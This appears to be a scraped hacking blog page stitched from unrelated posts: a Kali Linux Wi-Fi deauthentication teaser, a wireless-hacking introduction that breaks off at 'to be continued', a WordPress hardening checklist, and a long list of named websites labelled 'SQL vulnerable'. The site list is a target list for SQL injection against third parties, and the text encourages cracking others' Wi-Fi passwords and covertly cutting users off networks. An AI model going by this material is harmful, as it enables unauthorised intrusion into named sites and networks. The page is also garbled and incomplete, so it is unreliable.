
Kali Linux  De-Authentication Attack

How to Kick your friend from Using your wifi without him knowing about it . 

Its very hard to say no, specially to your Friends. You can do nothing if they ask for your Wifii password and then choose to stay because they are too lazy to go back home. 

Now there is a way to stop there usage without them knowing about that. :)

De-authentication is a simple attack used in Kali Linux which kicks the desired target from your Wifii Network. If you are creative, you can even use this attack for hacking Wifii passwords

(This post is for education purpose only, I am not responsible for any of your actions)

Tools Required :

1. Vmware 

http://www.vmware.com/ca/en/products/player

2. Kali linux 

https://www.kali.org/downloads/

3. Network Adapter (which is Compatible with Kali)

(Alpha or Tp-Link)

Watch this video, and if you need any help, support is available 24x7. 

Wireless Hacking

What is Wireless?

Wireless communication is the transfer of information or power between two or more points that are not connected by an electrical conductor.

The most common wireless technologies use radio. With radio waves distances can be short, such as a few meters for television or as far as thousands or even millions of kilometers for deep-space radio communications. It encompasses various types of fixed, mobile, and portable applications, including two-way radios, cellular telephones, personal digital assistants (PDAs), and wireless networking. Other examples of applications of radio wireless technology include GPS units, garage door openers, wireless computer mice,keyboards and headsets, headphones, radio receivers, satellite television, broadcast television and cordless telephones

Wireless Hacking 

An internet connection has become a basic necessity in our modern lives. Wireless hot-spots (commonly known as Wi-Fi) can be found everywhere! If you have a PC with a wireless network card, then you must have seen many networks around you. Sadly most of these networks are secured with a network security key. Have you ever wanted to use one of these networks? You must have desperately wanted to check your mail when you shifted to your new house. The hardest time in your life is when your internet connection is down. Hacking those Wi-Fi passwords is your answer to temporary internet access.


Now to hack a Wifi Password you must first know what type of encryption it uses for its passwords there are many different types such as: WEP (easiest to crack/hack), WPA and WPA2.

Types Of Encyption 

- WEP
- WPA
- WPA2

WEP

Wired Equivalent Privacy (WEP) is a security protocol, specified in the IEEE Wireless Fidelity (Wi-Fi) standard, 802.11b, that is designed to provide a wireless local area network (WLAN) with a level of security and privacy comparable to what is usually expected of a wired LAN.

WPA

The Wi-Fi Alliance intended WPA as an intermediate measure to take the place of WEP pending the availability of the full IEEE 802.11i standard. WPA could be implemented through firmware upgrades on wireless network interface cards designed for WEP that began shipping as far back as 1999. However, since the changes required in the wireless access points (APs) were more extensive than those needed on the network cards, most pre-2003 APs could not be upgraded to support WPA.

The WPA protocol implements much of the IEEE 802.11i standard. Specifically, the Temporal Key Integrity Protocol (TKIP) was adopted for WPA. WEP used a 64-bit or 128-bit encryption key that must be manually entered on wireless access points and devices and does not change. TKIP employs a per-packet key, meaning that it dynamically generates a new 128-bit key for each packet and thus prevents the types of attacks that compromised WEP.

WPA2

WPA2 replaced WPA. WPA2, which requires testing and certification by the Wi-Fi Alliance, implements the mandatory elements of IEEE 802.11i. In particular, it includes mandatory support for CCMP, an AES-based encryption mode with strong security. Certification began in September, 2004; from March 13, 2006, WPA2 certification is mandatory for all new devices to bear the Wi-Fi trademark

==x==x==x==x==x==x==x==x==x==x==x==x==x==x==x==x==x==x==x==x==x==x==x==x==x

LETS START WIFI HACKING

(to be continued............)

SQL Vulnerable Sites [Part-3]

SQL Vulnerable Sites [Part-3]

http://lemaspinede.fr/reservation.php?id=6

http://purchase.filmweb.no/TicketSal...?showid=679909

http://rent-in-odessa.com/ru/details.php?id=504

http://rocknload.oversa.be/reservati...Form&showId=90

https://secure.modwest.com/sagespasa...php?exp_id=156

http://secure.terrys.net/viewProduct...ctID=PT.39-210

http://shop.westcoastmetric.com/usef...?linkID=Link.7

http://site2host.com/cms.php?cat_id=1607

http://softbe.pl/produkt.php?id=3

http://spcala.com/ecommerce/store.ph...start=0&pic=53

https://ssl.sv24.com/dynatech/produk....php?prod=3841

http://tagursmile.com/viewproduct.php?id=210&cityid=1

http://www.advertuganda.com/buyoffers.php?pg=2&cid=0

http://www.brightpointforchildren.or...communityid=87

http://www.bulbrok.com/paymethod.php?shipID=2

http://www.bvivacation.com/british-v...wnews.php?id=7

http://www.cancun-fishing-charter-co...ation.php?id=7

http://www.caravan-24.de/wagen.php?aktion=showdetails

http://www.cd-lab.com/viewProduct.php?product=345

http://www.christianword.org/new/tes...timony&id=1161

http://www.ck-modelcars.de/sites/produkt.php?id=8022

https://www.cooperslake.com/home/sli....php?photoid=0

http://www.corissia.com/web/en/reser...m=instructions

http://www.cubabedroom.com/reservation.php?id=20

http://www.d3d.co.il/Product.aspx?cid=3&pid=4

http://www.dfpk.eu/produkt.php?id=12

http://www.dio-dipo.co.il/ProductInfo.asp?ProdId=1426

http://www.disc-order.com/en/detail....MERO=101004687

http://www.epicurean.com.hk/new/reservation.php?id=43

www.esthetic-beauty.de/produkt.php?id=9&pid=

http://www.eurostarrental.com/findra...s=3&FindRates=

http://www.freedio.co.il/ProductInfo.asp?ProdId=2235

http://www.goa-tourism.com/reservation.php?id=1

http://www.harter.it/de/produkte.php?c=18

http://www.helloromania.eu/promo/pro...ads=142&page=3

http://www.hummeraccessories.cc/prod...?class=5&cat=9

http://www.johnellis.com/viewproduct.php?p=5&c=1

http://www.kkdayahotel.com/reservation.php?id=3

http://www.koracing.net/viewproduct....er=3&product=1

http://www.kwikpay.com.au/demo2.php?Country=au

http://www.lakesideharley-davidson.c...egory_id=47860

https://www.madisoncomedy.com/comicl...trow=0&alpha=G

http://www.maordeal.co.il/Product.asp?productid=2364

http://www.mbtagifts.com/shop.php?c=12&pt=16&t=1

http://www.meinsanitaetshaus.de/produkt.php?id=3576

http://www.misradia.co.il/product?selected=15548

http://www.nepaligroups.com/folk-son...tion=play&id=1

http://www.officer.co.il/shop/Produc...sp?Category=35

http://www.paravion.ro/userinfo.php?uid=1

http://www.perfectionlearning.com/vi...ductID=3860801

www.pharmaceris.pl/en/line.php?id=115&podzial=5

http://www.pnb.org/Season/Subscripti...px?pkg=13EFULL

http://www.qhealth.co.nz/html/viewProduct.php?id=1344

https://www.scottdawson.org/products/view.php?cn=11

http://www.bitshacking.com/index.php?pid=3

http://www.sk8erboy.eu/shop/kategori...verses&lang=en

http://www.sundaybreakfastmission.org/story.php?did=79

http://www.theonestore.it/result.php?cat=3

http://www.vacances-directes.com/fr/...ex.php?idemp=5

http://www.vangi.com.au/detail.php?no=89

http://www.warwick.de/modules/produk...ID=14460&cl=EN

WordPress Security Checklist

WordPress Security Checklist

Basic Checklist :

1.  Rename user Admin to something else.

2.  Change the ID field on the first user from 1 to something else.

3.  Enforce strong password requirements for all system users

4.  Don‟t let anybody but admins see available WP updates.

5.  Remove the ability for non-admins to modify theme files.

6.  Tweak the database so tables aren‟t prefixed with wp_.

7.  Don‟t use the MySQL root user to access the database.

8.  Limit the MySQL account used to the site database only.

9.  Restrict the MySQL account so it can‟t perform destructive actions (i.e. DROP,

etc.)

10. Give the MySQL account a very long, randomised password.

11. Don‟t allow the server‟s root user access via SSH. Use an account with SUDO

privileges instead.

12. Ensure all the secret key fields in wp-config.php are completed with 16-bit SHA

keys.

13. Disallow indexes on all site folders.

14. Hide the admin area.

15. Rename the wp-content directory to something else.

16. Block bad hosts and agents with blacklists.

17. Make any .htaccess files and wp-config.php non-writeable.

18. Make the admin area inaccessible outside of work hours (handle this one with care)

19. Schedule regular database backups.

20. Restrict the length of allowed URLs to 255 characters or less.

21. Require SSL connections on the admin area (if possible; this one has an on-cost attached)

22. If possible, install and run server-side antivirus software such as ClamAV.

23. Consider restricting the server‟s FTP service to only accept connections from certain, whitelisted IP addresses (only applicable if you have at least one static IP).

24. When deploy complete, consider stopping the server‟s FTP service completely.

You can always temporarily switch it on again if required.

25. If your web server is allowing proxying (for example, if you‟re load-balancing),

ensure it‟s not configured as an open HTTP proxy.

26. Remove any open SMTP proxies on your server.